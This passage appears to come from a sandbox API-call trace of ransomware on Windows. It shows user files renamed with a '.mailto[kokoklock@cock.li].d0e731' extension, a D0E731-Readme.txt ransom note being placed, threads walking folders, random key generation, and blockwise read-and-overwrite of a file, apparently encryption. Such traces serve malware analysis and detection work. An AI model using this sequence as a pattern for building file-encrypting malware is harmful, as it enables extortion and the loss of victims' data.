(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.456] CloseHandle (hObject=0x920) returned 1 [0073.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfa) returned 0x33fb1b0 [0073.456] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" [0073.456] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" [0073.456] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.457] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0073.457] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4", dwFileAttributes=0x20) returned 0 [0073.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3434828 [0073.458] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0073.458] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0073.458] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0073.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0073.458] RtlExitUserThread (Status=0x1) Thread: id = 593 os_tid = 0x12b4 [0073.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3432618 [0073.459] wcscpy (in: _Dest=0x3432618, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0073.459] wcscat (in: _Dest=0x3432618, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0073.459] wcscat (in: _Dest=0x3432618, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*" [0073.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e268 [0073.459] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a28 [0073.460] wcscmp (_String1=".", _String2=".") returned 0 [0073.460] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.460] wcscmp (_String1="..", _String2=".") returned 1 [0073.461] wcscmp (_String1="..", _String2="..") returned 0 [0073.461] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0073.461] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0073.461] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0073.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3476f28 [0073.461] wcscpy (in: _Dest=0x3476f28, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0073.461] wcscat (in: _Dest=0x3476f28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0073.461] wcscat (in: _Dest=0x3476f28, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0076.628] Sleep (dwMilliseconds=0x1) [0077.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3476f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0077.861] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0077.861] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0077.861] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0077.861] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xce) returned 0x34760d0 [0077.861] wcscpy (in: _Dest=0x34760d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0077.861] wcscat (in: _Dest=0x34760d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0077.861] wcscat (in: _Dest=0x34760d0, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0077.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34760d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0077.862] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0077.862] FindClose (in: hFindFile=0x3433a28 | out: hFindFile=0x3433a28) returned 1 [0077.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e268) returned 1 [0077.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432618) returned 1 [0077.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432488) returned 1 [0077.862] RtlExitUserThread (Status=0x0) Thread: id = 594 os_tid = 0x12bc [0073.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431808 [0073.461] wcscpy (in: _Dest=0x3431808, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0073.461] wcscat (in: _Dest=0x3431808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0073.461] wcscat (in: _Dest=0x3431808, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*" [0073.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e4d0 [0073.462] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a68 [0073.472] wcscmp (_String1=".", _String2=".") returned 0 [0073.472] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.473] wcscmp (_String1="..", _String2=".") returned 1 [0073.473] wcscmp (_String1="..", _String2="..") returned 0 [0073.473] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0073.473] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0073.473] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x34770d8 [0073.473] wcscpy (in: _Dest=0x34770d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0073.473] wcscat (in: _Dest=0x34770d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0073.473] wcscat (in: _Dest=0x34770d8, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0076.628] Sleep (dwMilliseconds=0x1) [0077.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34770d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0077.858] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0077.858] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0077.858] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0077.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xce) returned 0x3475ff8 [0077.858] wcscpy (in: _Dest=0x3475ff8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0077.858] wcscat (in: _Dest=0x3475ff8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\" [0077.858] wcscat (in: _Dest=0x3475ff8, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0077.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3475ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0077.859] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0077.859] FindClose (in: hFindFile=0x3433a68 | out: hFindFile=0x3433a68) returned 1 [0077.859] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4d0) returned 1 [0077.859] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431808) returned 1 [0077.859] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34326e0) returned 1 [0077.859] RtlExitUserThread (Status=0x0) Thread: id = 595 os_tid = 0x12c0 [0073.463] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man")) returned 0x20 [0073.465] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", dwFileAttributes=0x20) returned 1 [0073.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0073.467] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x1773fb7c | out: lpFileSize=0x1773fb7c*=282147) returned 1 [0073.467] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x44e1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.468] ReadFile (in: hFile=0x924, lpBuffer=0x1773fb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x1773fb50*, lpNumberOfBytesRead=0x1773fb4c*=0x4, lpOverlapped=0x0) returned 1 [0073.473] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efa0 [0073.474] NtQuerySystemTime (in: CurrentTime=0x1773fb28 | out: CurrentTime=0x1773fb28*=132121176313627679) returned 0x0 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x5f1ce01d [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xa87f5735 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x7e5ccd3d [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x4b027230 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x769628fa [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x45f2f8c3 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x48949ebf [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x8308ee86 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x3fd532e5 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x194d29a4 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xa4b360b9 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x4dc0ff3b [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x2042916b [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xf99f4f07 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x65630692 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xee909e38 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xb1f3cac4 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xae60c4d6 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xee973dff [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x6cb7f5ec [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xf3e771c [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x70f1e613 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xb4a949fe [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x29d65a06 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x89e2cdaf [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x4f1e78a5 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xfaa81453 [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xefdf969e [0073.474] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x5ffb5ff0 [0073.475] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x694c6b84 [0073.475] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0x445021fc [0073.475] RtlRandom (in: Seed=0x1773fb34 | out: Seed=0x1773fb34) returned 0xcbdf2b52 [0073.487] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.487] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1773fae8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.502] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec30 [0073.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efc8 [0073.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341efc8) returned 1 [0073.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.503] WriteFile (in: hFile=0x924, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1773fae8, 